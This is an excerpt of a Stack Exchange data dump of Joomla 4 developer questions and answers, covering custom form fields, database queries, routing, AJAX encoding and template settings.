/**&#xA;     * The form field type.&#xA;     *&#xA;     * @var    string&#xA;     * @since  1.0.0&#xA;     */&#xA;    protected $type = 'Sponsors';&#xA;&#xA;    /**&#xA;     * Method to get the field input markup.&#xA;     *&#xA;     * @return  string  The field input markup.&#xA;     *&#xA;     * @since   1.0.0&#xA;     */&#xA;    protected function getInput()&#xA;    {&#xA;        return parent::getInput();&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the field options.&#xA;     *&#xA;     * @return  array  The field option objects.&#xA;     *&#xA;     * @since   1.0.0&#xA;     */&#xA;    protected function getOptions()&#xA;    {&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id, title');&#xA;        $query-&amp;gt;from('#__footballmanager_sponsors');&#xA;        $query-&amp;gt;order('title ASC');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $sponsors = $db-&amp;gt;loadObjectList();&#xA;&#xA;        foreach ($sponsors as $sponsor)&#xA;        {&#xA;            $options[] = HTMLHelper::_('select.option', $sponsor-&amp;gt;id, $sponsor-&amp;gt;title);&#xA;        }&#xA;&#xA;        // Merge any additional options in the XML definition.&#xA;        $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-07-16T11:08:18.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33198" PostTypeId="1" CreationDate="2023-07-16T13:34:32.633" Score="0" ViewCount="17" Body="&lt;p&gt;I have the following query on Mariadb 10.4.x with Php 8.1, the issue is that the loadResult() doesn't return int :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;_db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('MAX(time)')&#xA;     -&amp;gt;from($this-&amp;gt;_db-&amp;gt;quoteName('#__mycomponent_messages'))&#xA;     -&amp;gt;where($this-&amp;gt;_db-&amp;gt;quoteName('ip') . ' = ' . $this-&amp;gt;_db-&amp;gt;quote($this-&amp;gt;ip));&#xA;&#xA;$lastPostTime = (int) $this-&amp;gt;_db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By checking with phpmyadmin, it's get he time. Above the code just return 0, if i do like that :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$lastPostTime = $this-&amp;gt;_db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The result is weird with&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;string 'B)'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The table #__mycomponent_messages looks like that :&lt;/p&gt;&#xA;&lt;p&gt;| id | ip | time |&lt;/p&gt;&#xA;&lt;p&gt;|:---- |:------:| -----:|&lt;/p&gt;&#xA;&lt;p&gt;| int (11)  | varchar(128)    | int (11) |&lt;/p&gt;&#xA;&lt;p&gt;What's it behave like that ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2023-07-16T13:34:32.633" Title="Query with MAX(time) doesn't return int" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33199" PostTypeId="1" AcceptedAnswerId="33202" CreationDate="2023-07-16T15:30:12.033" Score="0" ViewCount="22" Body="&lt;p&gt;My brain hurts,&#xA;I'm using a custom listfield inside a subform in multiple mode, the rendering works as expected (two elements in database &amp;gt; two elements in the form). but i'm not able to set the value (selected) state in the listfield. I have no clue on how to pass the data from my subform (that loops over the linking table items) into the field used inside the subform.&lt;/p&gt;&#xA;&lt;p&gt;This is what i have currently:&#xA;Custom Subform Field Class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class SponsorssubformField extends SubformField&#xA;{&#xA;    /**&#xA;     * The form field type.&#xA;     *&#xA;     * @var    string&#xA;     * @since  1.0.0&#xA;     */&#xA;    protected $type = 'Sponsorssubform';&#xA;    protected $min = 0;&#xA;&#xA;    protected $value;&#xA;&#xA;    protected function loadSubFormData(Form $subForm)&#xA;    {&#xA;        $linked_sponsors = $this-&amp;gt;getLinkedSponsors();&#xA;&#xA;        $value = $linked_sponsors ? (array) $linked_sponsors : [];&#xA;&#xA;        // Simple form, just bind the data and return one row.&#xA;        if (!$this-&amp;gt;multiple) {&#xA;            $subForm-&amp;gt;bind($linked_sponsors);&#xA;&#xA;            return [$subForm];&#xA;        }&#xA;&#xA;        // Multiple rows possible: Construct array and bind values to their respective forms.&#xA;        $forms = [];&#xA;        $i = 0;&#xA;        foreach ($linked_sponsors as $linked_sponsor) {&#xA;            echo '&amp;lt;pre&amp;gt;' . var_export($linked_sponsor, 1) . '&amp;lt;/pre&amp;gt;';&#xA;            $control  = $this-&amp;gt;name . '[' . $this-&amp;gt;fieldname . $i . ']';&#xA;            $itemForm = Form::getInstance($subForm-&amp;gt;getName() . $i, $this-&amp;gt;formsource, ['control' =&amp;gt; $control]);&#xA;            $itemForm-&amp;gt;bind($linked_sponsor);&#xA;            $forms[] = $itemForm;&#xA;            $i++;&#xA;        }&#xA;        return $forms;&#xA;    }&#xA;&#xA;    protected function getLinkedSponsors()&#xA;    {&#xA;        $parentId = $this-&amp;gt;form-&amp;gt;getValue('id');&#xA;&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id, sponsor_id');&#xA;        $query-&amp;gt;from('#__footballmanager_locations_sponsors');&#xA;        $query-&amp;gt;where('location_id = ' . $parentId);&#xA;        $query-&amp;gt;order('ordering, id');&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        $sponsors = $db-&amp;gt;loadObjectList();&#xA;&#xA;        foreach ($sponsors as $sponsor)&#xA;        {&#xA;            $sponsor-&amp;gt;value = $sponsor-&amp;gt;sponsor_id;&#xA;        }&#xA;&#xA;        return $sponsors;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Custom ListField Class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;class SponsorsField extends ListField{&#xA;    /**&#xA;     * The form field type.&#xA;     *&#xA;     * @var    string&#xA;     * @since  1.0.0&#xA;     */&#xA;    protected $type = 'Sponsors';&#xA;    protected $value;&#xA;&#xA;    /**&#xA;     * Method to get the field options.&#xA;     *&#xA;     * @return  array  The field option objects.&#xA;     *&#xA;     * @since   1.0.0&#xA;     */&#xA;    protected function getOptions()&#xA;    {&#xA;        echo '&amp;lt;pre&amp;gt;' . var_export( null, 1) . '&amp;lt;/pre&amp;gt;';&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id, title');&#xA;        $query-&amp;gt;from('#__footballmanager_sponsors');&#xA;        $query-&amp;gt;order('title ASC');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $sponsors = $db-&amp;gt;loadObjectList();&#xA;&#xA;        foreach ($sponsors as $sponsor)&#xA;        {&#xA;            $options[] = HTMLHelper::_('select.option', $sponsor-&amp;gt;id, $sponsor-&amp;gt;title);&#xA;        }&#xA;&#xA;&#xA;        // Merge any additional options in the XML definition.&#xA;        $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Options got loaded, the elements (count) in the repeatable subform are correct but how can i set the value of inside the subform field?&lt;/p&gt;&#xA;&lt;p&gt;the linking table structure is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__footballmanager_locations_sponsors`&#xA;(&#xA;    `id`           int(11)          NOT NULL AUTO_INCREMENT,&#xA;    `location_id`  int(11)          NOT NULL,&#xA;    `sponsor_id`   int(11)          NOT NULL,&#xA;    `ordering`     int(11)                   DEFAULT 0,&#xA;&#xA;    PRIMARY KEY (`id`),&#xA; ...&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-08-16T05:08:11.067" Title="Set Field Value in Custom List field that is used inside a extended SubformField Class in Multiple Mode" Tags="|custom-component|custom-field|subform|repeatable-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33200" PostTypeId="2" ParentId="33185" CreationDate="2023-07-16T15:46:36.627" Score="0" Body="&lt;p&gt;There was no issue in my router file but it was in the&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/components/com_componantname/src/Service/Category.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;previously in my file, I only added the&#xA;&lt;code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;&#xA; * @copyright  2023 Super User&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;namespace Actors\Component\Actors\Site\Service;&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;use \Joomla\CMS\Categories\Categories;&#xA;/**&#xA; * Content Component Category Tree&#xA; *&#xA; * @since  1.0.0&#xA; */&#xA;&lt;/pre&gt;&#xA;&lt;/code&gt;&#xA;&lt;p&gt;To fix this issue added the below code in the above file and SEF worked for the Joomla4 Component&#xA;&lt;code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;class Category extends Categories&#xA;{&#xA;    /**&#xA;     * Class constructor&#xA;     *&#xA;     * @param   array  $options  Array of options&#xA;     *&#xA;     * @since   11.1&#xA;     */&#xA;    public function __construct($options = array())&#xA;    {&#xA;        $options['table'] = '#__tablename';&#xA;        $options['extension'] = 'com_componentname';&#xA;        parent::__construct($options);&#xA;    }&#xA;}&lt;/pre&gt;&#xA;&lt;/code&gt;&#xA;" OwnerUserId="16785" LastActivityDate="2023-07-16T15:46:36.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33201" PostTypeId="1" CreationDate="2023-07-16T22:18:02.530" Score="1" ViewCount="57" Body="&lt;p&gt;While using browser developer tools I noticed an error in my joomla 4 site:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Refused to apply style from 'https://[server]/media/cms/css/debug.css'&#xA;because its MIME type ('text/html') is not a supported stylesheet MIME&#xA;type, and strict MIME checking is enabled&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I think the issue is that /media/cms/css/debug.css doesn't exist, and the server is returning a 404 page.&lt;/p&gt;&#xA;&lt;p&gt;This reference to /media/cms/css/debug.css is in the head of index.php. Is that reference supposed to be there, and the file really is missing? Or is that reference not supposed to be there, and therefore it's fine that the file is missing?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2023-07-16T22:18:02.530" Title="Missing /media/cms/css/debug.css" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33202" PostTypeId="2" ParentId="33199" CreationDate="2023-07-17T05:01:55.037" Score="0" Body="&lt;p&gt;Again it took too long yesterday,&#xA;The Subfrom had to hold the fieldname as key to set the value.&#xA;so the key-value has to be named &amp;quot;sponsor&amp;quot; like the field that should represent it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function getLinkedSponsors()&#xA;    {&#xA;        $parentId = $this-&amp;gt;form-&amp;gt;getValue('id');&#xA;&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id, sponsor_id as sponsor, ordering');&#xA;        $query-&amp;gt;from('#__footballmanager_locations_sponsors');&#xA;        $query-&amp;gt;where('location_id = ' . $parentId);&#xA;        $query-&amp;gt;order('ordering, id');&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        return $db-&amp;gt;loadObjectList();&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-07-17T05:01:55.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33203" PostTypeId="1" CreationDate="2023-07-17T07:43:45.243" Score="0" ViewCount="65" Body="&lt;p&gt;After transferring my site from one server to another (using Akeeba Backup), I find that the elements of the Home dashboard are wrongly arranged (see screenshot). I also get this error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;&#xA;0 count(): Argument #1 ($value) must be of type Countable|array, null given &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Everything else (back end and front end) seems to be working properly, and if I select one of the other menu options from the garbled Home dashboard the screen looks normal.&lt;/p&gt;&#xA;&lt;p&gt;I am running Joomla 4 (updated to Joomla 4.3.3 after the transfer) using PHP 8.0.&lt;/p&gt;&#xA;&lt;p&gt;Any help in solving this problem would be much appreciated!&lt;/p&gt;&#xA;&lt;p&gt;Joomla version: 4.3.3&#xA;Web server: OpenLiteSpeed; same problem occurs on local Apache server under WAMP&#xA;PHP version: 8.0.29&#xA;MySQL version: 8.0.28&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&lt;p&gt;Here is the error trace:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1   ()  JROOT/administrator/modules/mod_loggedinusers/mod_loggedinusers.php:21&#xA;2   include()   JROOT/libraries/src/Dispatcher/ModuleDispatcher.php:52&#xA;3   Joomla\CMS\Dispatcher\ModuleDispatcher::Joomla\CMS\Dispatcher\{closure}()   JROOT/libraries/src/Dispatcher/ModuleDispatcher.php:55&#xA;4   Joomla\CMS\Dispatcher\ModuleDispatcher-&amp;gt;dispatch()  JROOT/libraries/src/Helper/ModuleHelper.php:281&#xA;5   Joomla\CMS\Helper\ModuleHelper::renderRawModule()   JROOT/libraries/src/Helper/ModuleHelper.php:161&#xA;6   Joomla\CMS\Helper\ModuleHelper::renderModule()  JROOT/administrator/components/com_cpanel/tmpl/cpanel/default.php:61&#xA;7   include()   JROOT/libraries/src/MVC/View/HtmlView.php:410&#xA;8   Joomla\CMS\MVC\View\HtmlView-&amp;gt;loadTemplate()    JROOT/libraries/src/MVC/View/HtmlView.php:203&#xA;9   Joomla\CMS\MVC\View\HtmlView-&amp;gt;display()     JROOT/administrator/components/com_cpanel/src/View/Cpanel/HtmlView.php:158&#xA;10  Joomla\Component\Cpanel\Administrator\View\Cpanel\HtmlView-&amp;gt;display()   JROOT/libraries/src/MVC/Controller/BaseController.php:645&#xA;11  Joomla\CMS\MVC\Controller\BaseController-&amp;gt;display()     JROOT/administrator/components/com_cpanel/src/Controller/DisplayController.php:56&#xA;12  Joomla\Component\Cpanel\Administrator\Controller\DisplayController-&amp;gt;display()   JROOT/libraries/src/MVC/Controller/BaseController.php:678&#xA;13  Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute()     JROOT/libraries/src/Dispatcher/ComponentDispatcher.php:143&#xA;14  Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()   JROOT/libraries/src/Component/ComponentHelper.php:361&#xA;15  Joomla\CMS\Component\ComponentHelper::renderComponent()     JROOT/libraries/src/Application/AdministratorApplication.php:143&#xA;16  Joomla\CMS\Application\AdministratorApplication-&amp;gt;dispatch()     JROOT/libraries/src/Application/AdministratorApplication.php:186&#xA;17  Joomla\CMS\Application\AdministratorApplication-&amp;gt;doExecute()    JROOT/libraries/src/Application/CMSApplication.php:293&#xA;18  Joomla\CMS\Application\CMSApplication-&amp;gt;execute()    JROOT/administrator/includes/app.php:61&#xA;19  require_once()  JROOT/administrator/index.php:32 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17199" LastEditorUserId="17199" LastEditDate="2023-07-17T08:00:58.047" LastActivityDate="2023-07-17T12:31:20.493" Title="Home dashboard garbled in Joomla 4" Tags="|administrator|dashboard|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33204" PostTypeId="1" AcceptedAnswerId="33207" CreationDate="2023-07-17T09:46:29.977" Score="1" ViewCount="46" Body="&lt;p&gt;When editing articles in Joomla 4, the browser tab shows &amp;quot;Articles: Edit - [site name]&amp;quot;. This means that all articles show the same text in the browser tab, which is not very helpful if one is editing a number of articles at the same time.&lt;/p&gt;&#xA;&lt;p&gt;It would be most helpful if one could set the title of the browser tab to show the title of the article.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on how to do this?&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2023-07-18T13:14:35.050" Title="Show article title in browser tab of article editor (Joomla 4)" Tags="|administrator|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33205" PostTypeId="2" ParentId="33203" CreationDate="2023-07-17T12:31:20.493" Score="2" Body="&lt;p&gt;The problem was caused by the mod_loggedinuser module. This is not a core module, and there is a core module which also shows logged in users. I was able to solve the problem my just disabling the non-core module.&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2023-07-17T12:31:20.493" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33207" PostTypeId="2" ParentId="33204" CreationDate="2023-07-18T13:14:35.050" Score="1" Body="&lt;p&gt;It's not possible to do this by configuration data, I'm afraid.&lt;/p&gt;&#xA;&lt;p&gt;The title is written in libraries/src/Toolbar/ToolbarHelper.php in the &lt;code&gt;title()&lt;/code&gt; function. To change that you'd need to write a plugin that fires on eg &lt;code&gt;onAfterDispatch&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the plugin you'd need to check you're on the administrator side, and check the application input data to ensure that you're editing an article. Then you can get the article id from the input data and query in the database to get the article title, and set the browser title using &lt;code&gt;Factory::getDocument()-&amp;gt;setTitle($articleTitle)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The plugin would change this for everyone on the system. However in the plugin you could also check the logged-in user and change it just for yourself, rather than for everybody.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-18T13:14:35.050" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33208" PostTypeId="1" CreationDate="2023-07-20T07:03:29.930" Score="0" ViewCount="60" Body="&lt;p&gt;In my XML form, I have given a calendar field in the &lt;code&gt;format='D dS M Y'&lt;/code&gt; which is as follows&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;certificationdate&amp;quot;&#xA;class=&amp;quot;inputbox&amp;quot; &#xA;format=&amp;quot;D dS M Y&amp;quot; &#xA;timeformat=&amp;quot;12&amp;quot; &#xA;filter=&amp;quot;server_utc&amp;quot; &#xA;translateformat=&amp;quot;false&amp;quot; &#xA;showtime=&amp;quot;false&amp;quot; &#xA;singleheader=&amp;quot;false&amp;quot; &#xA;todaybutton=&amp;quot;false&amp;quot; &#xA;weeknumbers=&amp;quot;false&amp;quot; &#xA;filltable=&amp;quot;false&amp;quot; &#xA;type=&amp;quot;calendar&amp;quot; &#xA;label=&amp;quot;COM_ANAND_FORM_LBL_ANAND_DET_CERTIFICATIONDATE&amp;quot;&#xA;description=&amp;quot;COM_ANAND_FORM_DESC_ANAND_DET_CERTIFICATIONDATE&amp;quot;&#xA;hint=&amp;quot;COM_ANAND_FORM_LBL_ANAND_DET_CERTIFICATIONDATE&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can someone tell what can be the reason for not working the calendar field with the given format? It only works for the default date format, even tried to update created calendar field of the article.xml file there also it does not work&lt;/p&gt;&#xA;" OwnerUserId="16785" LastEditorUserId="13472" LastEditDate="2023-07-20T08:59:57.023" LastActivityDate="2023-12-22T10:02:25.287" Title="Joomla Calendar field does not work when given format as D dS M Y" Tags="|joomla-4|fields|calendar|format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33209" PostTypeId="1" CreationDate="2023-07-20T23:05:44.823" Score="0" ViewCount="58" Body="&lt;p&gt;more of a query than anything. I've imported some redirects using the Import option in J4 but I've just noticed that if the original page still exists, the redirect does not work.&lt;/p&gt;&#xA;&lt;p&gt;It does say in the Joomla docs that the URL must NOT be a working one for the native Redirect plugin to work - it does not seem to have been updated for J4 however. I'm aware of how the J3 redirect plugin worked, hence why I was using ReDJ. It seems odd that J4 allows a bulk import of redirects but still ignores anywhere the source URL is still valid. It seems like a pointless function.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Help310:Components_Redirect_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Doc&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I used ReDJ on my J3 sites previously but there doesn't seem to be a J4 version. I'd prefer to use an extension/plugin than manually redirect in the .htaccess as my client also creates redirects when updating the site.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions for a J4 alternative of ReDJ? I'm open to all suggestions.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2023-07-20T23:13:34.183" LastActivityDate="2023-07-20T23:13:34.183" Title="Joomla 4.3.3 Imported Redirects not working" Tags="|joomla-4.x|redirect|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33210" PostTypeId="1" CreationDate="2023-07-21T06:51:33.683" Score="0" ViewCount="49" Body="&lt;p&gt;There is an input field of type text -  &lt;strong&gt;pib_input&lt;/strong&gt;&lt;br/&gt;&#xA;I am sending to the Ajax server&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    let pib_input = $('#pib_input').val();&#xA;    console.log(pib_input);&#xA;    $.ajax({&#xA;        data: { [token]: &amp;quot;1&amp;quot;, task: &amp;quot;AjaxSendEmail&amp;quot;, tmpl: &amp;quot;component&amp;quot;,format: &amp;quot;raw&amp;quot;,pib_input: pib_input},&#xA;        success: function(responce) {&#xA;            alert(responce);&#xA;        },&#xA;        error: function(responce) {&#xA;            alert(responce);&#xA;        },&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The following is sent to the server&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://127.0.0.1/j4/index.php?option=com_tsnap&amp;amp;view=groups_list&amp;amp;Itemid=325&amp;amp;2cf3da9ecdc730484a55452a93f49079=1&amp;amp;task=AjaxSendEmail&amp;amp;tmpl=component&amp;amp;format=raw&amp;amp;pib_input=%D0%9F%D1%80%D0%B8%D0%B2%D1%96%D1%82&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the server&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;&#xA;&#xA;$input = $app-&amp;gt;input;&#xA;$pib_input = $input-&amp;gt;get('pib_input');&#xA;$pib_input1 = urldecode($app-&amp;gt;input-&amp;gt;get('pib_input'));&#xA;$pib_input2 = json_decode($app-&amp;gt;input-&amp;gt;get('pib_input'));&#xA;$pib_input3 = html_entity_decode($app-&amp;gt;input-&amp;gt;get('pib_input'));&#xA;$pib_input4 = htmlspecialchars_decode($app-&amp;gt;input-&amp;gt;get('pib_input'));&#xA;&#xA;$file = JPATH_ADMINISTRATOR . '/components/com_tsnap/result.txt';&#xA;file_put_contents($file, 'pib_input:'.$pib_input.PHP_EOL.'pib_input1:'.$pib_input1.PHP_EOL.'pib_input2:'.$pib_input2.PHP_EOL.'pib_input3:'.$pib_input3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;File contents&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pib_input:&#xA;pib_input1:&#xA;pib_input2:&#xA;pib_input3:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If eplace&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;let pib_input = encodeURI($('#pib_input').val());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;File contents&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pib_input:D09FD180D0B8D0B2D196D182&#xA;pib_input1:D09FD180D0B8D0B2D196D182&#xA;pib_input2:&#xA;pib_input3:D09FD180D0B8D0B2D196D182&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I transfer and process Cyrillic characters correctly?&lt;br/&gt;&#xA;The data will be used to send an email&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getMailer()-&amp;gt;sendMail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2024-02-19T10:57:22.400" Title="Joomla 4 AJAX request and Cyrillic characters" Tags="|joomla-4.x|ajax|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33211" PostTypeId="1" CreationDate="2023-07-21T10:21:47.877" Score="1" ViewCount="27" Body="&lt;p&gt;I have a need to create a news section but which is password protected via login form. What I can't find is the ability to show a small summary of the article and then show the login/registration form right below. Does anyone have any suggestions on how to proceed?&lt;/p&gt;&#xA;&lt;p&gt;I use Joomla 4 and if it can be useful Yootheme&lt;/p&gt;&#xA;&lt;p&gt;Thanks to all&lt;/p&gt;&#xA;" OwnerUserId="17211" LastActivityDate="2023-07-24T20:25:12.997" Title="blog news with inside article summary and login form to read the whole article" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33212" PostTypeId="1" AcceptedAnswerId="33217" CreationDate="2023-07-21T13:48:11.630" Score="1" ViewCount="242" Body="&lt;p&gt;So Joomla 4 (ok 3 got it too) has this new way of handling images which is GREAT. But now i have to understand how it works because for a project i want to set a DIV's Background by using a field value.&lt;/p&gt;&#xA;&lt;p&gt;$this-&amp;gt;item-&amp;gt;image contains a default joomla image construct&lt;/p&gt;&#xA;&lt;p&gt;When I do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo LayoutHelper::render('joomla.html.image', ['src' =&amp;gt; $this-&amp;gt;item-&amp;gt;image, 'alt' =&amp;gt; $this-&amp;gt;item-&amp;gt;title, 'class' =&amp;gt; 'uk-cover']); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it's got rendered as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;/path/to/image.jpg&amp;quot; ...&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which is great, it adds the first forward slash! But i have to use the path inside a CSS background prop, so i checked the joomla.html.image layout but there is nothing in there which adds this forward slash.&#xA;Better: if i check the outcome inside the layout file (var_export) the displayData there is no slash in front...&lt;/p&gt;&#xA;&lt;p&gt;When simply using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$itemImage = HTMLHelper::_('cleanImageURL', $this-&amp;gt;item-&amp;gt;image);&#xA;$cleanImgUrl = $this-&amp;gt;escape($itemImage-&amp;gt;url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...the forward slash is still missing and the image could not been loaded...&lt;/p&gt;&#xA;&lt;p&gt;can someone please explain to me how to &amp;quot;magically&amp;quot; correct my image path too?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-07-24T07:44:44.447" Title="Question about LayoutHelper::render('joomla.html.image') and relative paths" Tags="|images|htmlhelper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33213" PostTypeId="1" AcceptedAnswerId="33214" CreationDate="2023-07-22T13:11:27.960" Score="0" ViewCount="62" Body="&lt;p&gt;I am busy with a project to convert an Joomla 3 template to Joomla 4. The Jinput is not giving me RAW data it is removing the script tags from my inputs. I worked through a couple of similar problems on the web still could not get it right.&lt;/p&gt;&#xA;&lt;p&gt;The XML for the field is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;fieldname&amp;quot; type=&amp;quot;editor&amp;quot; default=&amp;quot;&amp;amp;lt;script&amp;amp;gt; &amp;amp;lt;/script&amp;amp;gt;&amp;quot; label=&amp;quot;Add code to the top &amp;amp;lt; head &amp;amp;gt;&amp;quot; description=&amp;quot;&amp;quot; rows=&amp;quot;10&amp;quot; cols=&amp;quot;5&amp;quot; filter=&amp;quot;raw&amp;quot; editor=&amp;quot;codemirror|none&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The input code is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app    = JFactory::getApplication();&#xA;$input  = $app-&amp;gt;input;&#xA;$post   = $input-&amp;gt;post-&amp;gt;getArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am getting the values in the following foreach loop&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach (array_keys($post['jform']['params']) as $param) {&#xA;  $value = $post['jform']['params'][$param];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="11554" LastActivityDate="2023-07-22T14:18:17.237" Title="Jinput getAray not retrieving RAW details from codemirror editor in Joomla 4" 